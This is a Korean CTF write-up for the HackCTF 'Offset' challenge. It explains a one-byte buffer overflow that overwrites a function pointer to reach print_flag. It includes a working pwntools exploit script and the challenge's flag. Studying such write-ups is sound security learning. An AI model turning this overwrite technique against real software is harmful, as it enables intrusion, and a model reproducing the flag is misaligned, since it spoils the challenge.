WriteUp/HackCTF

[HackCTF] Offset

d2n0s4ur 2021. 8. 10. 11:24

 

 

CANARY X → Buffer Overflow 가능

NX → 모든 공간에서 Shellcode 삽입 및 실행 불가

RELRO → GOT Overwrite 불가

PIE → 주소 랜덤화

 

BOF를 일으켜 문제를 해결해야 한다.

 

 

main함수에서는 어떤 함수를 호출할 것인지 물어보고 입력받은 버퍼값을 select_func으로 바로 넘겨주는 모습이다.

 

 

 

입력받아온 함수의 이름이 one과 같으면 one()를 return, 아니면 two()을 return한다.

strcmp(s1,s2)는 다음과 같은 출력을 만들어 낸다.

  • 1: ASCII 코드 기준으로 문자열2(s2)가 클 때
  • 0: ASCII 코드 기준으로 두 문자열이 같을 때
  • 1: ASCII 코드 기준으로 문자열1(s1)이 클 때

 

 

one()과 two()는 특정 문자열을 출력하는 단순한 함수이다.

 

select_func에서 strncpy를 할 때 0x1F. 즉 31byte만큼 복사를 진행한다.

dest가 30byte 공간을 차지하므로 1byte를 변조할 수 있다.

 

이 실행구조의 메모리맵을 그리면 다음과 같다.

 

 

이 때 dest에 31바이트만큼 복사하므로 v3에 한 바이트만큼 변조할 수 있다는 것이다.

 

 

이 함수가 아마도 flag를 출력하는 함수인 것 같다.

 

 

예상대로 한바이트만 조작하면 two 함수를 print_flag로 우회할 수 있다.

즉, src의 앞 30바이트는 dummy값으로, 마지막 31번째 바이트에는 0xd8을 넣으면 될 것 같다.

two의 마지막 한 바이트를 0xd8로 조작하는 exploit을 짜보자.

 

from pwn import *

p = process('./offset')
#p = remote("ctf.j0n9hyun.xyz",3007)

payload =''
payload += 'A'*30
payload += '\xd8'

p.recvuntil("Which function would you like to call?")
p.sendline(payload)

p.interactive()

 

 

원하는대로 print_flag 함수가 호출되는 모습

이제 remote로 익스를 시도하면

 

 

 

FLAG : HackCTF{76155655017129668567067265451379677609132507783606}

반응형